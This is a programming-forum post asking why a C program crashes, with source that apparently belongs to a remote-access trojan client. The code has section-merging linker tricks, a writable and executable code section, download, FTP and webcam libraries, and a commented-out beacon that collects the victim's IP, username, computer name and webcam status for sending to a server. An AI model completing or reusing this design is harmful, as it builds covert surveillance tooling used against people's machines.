So here I am again with my C strings. This time something weird has been happenning. I have been working on that thing for a couple days at so far it worked fine... I have made my functions and my headers. everything worked perfect. I dont actually remember what I changed but since this morning this same piece of code I was really happy with stopped working totally. for some reason.... it just broke even my MessageBox doesnt work. It breaks BEFORE it.. which is only possible at the char * declaration... can someone help me fix?
Code:
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
#pragma comment(linker,"/OPT:NOWIN98 /STUB:stub.exe /INCREMENTAL:NO")
#pragma comment(linker,"/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text")
#pragma comment(lib, "ws2_32.lib") //winsock 2
#pragma comment(lib, "urlmon.lib") //urldownloadtofile
#pragma comment(lib, "wininet.lib") //structs ftp
#pragma comment(lib, "vfw32.lib") //webcam
#pragma comment(lib, "msvcrt.lib") //i dont really know
#include <winsock2.h>
#include <winsock.h>
#include <tlhelp32.h> //process
#include <windows.h>
#include <stdlib.h>
#include "declares.h"
#include "Mysocket.h"
#include "MyWebCam.h"
#include "debug.h"
#include "system.h"
int main (void)
{
char *auth= NULL;
char *auth2=NULL;
auth=malloc(1000);
auth2=malloc(1000);
/* Connection String
CONNECTION IDENTIFIER
LAN
ID
USER
COMPNAME
CONNECTION
CAM
CPU
*/
MessageBox(0,"bleh","Debug",MB_OK);
//auth="test";
//sprintf(auth,"%s;%s;%s;%s;%s;%s;%s;%s",OUT_INFO,GetLocalIP(),ID, GetUsername(), GetComputername(),Connection(), HasCam(), ProcSpeedRead());
//sprintf(auth2,"%d\t%s",strlen(auth),auth);
//debug(auth);
//InitSocket();
//InitiateConnection(auth2);
return 0;
}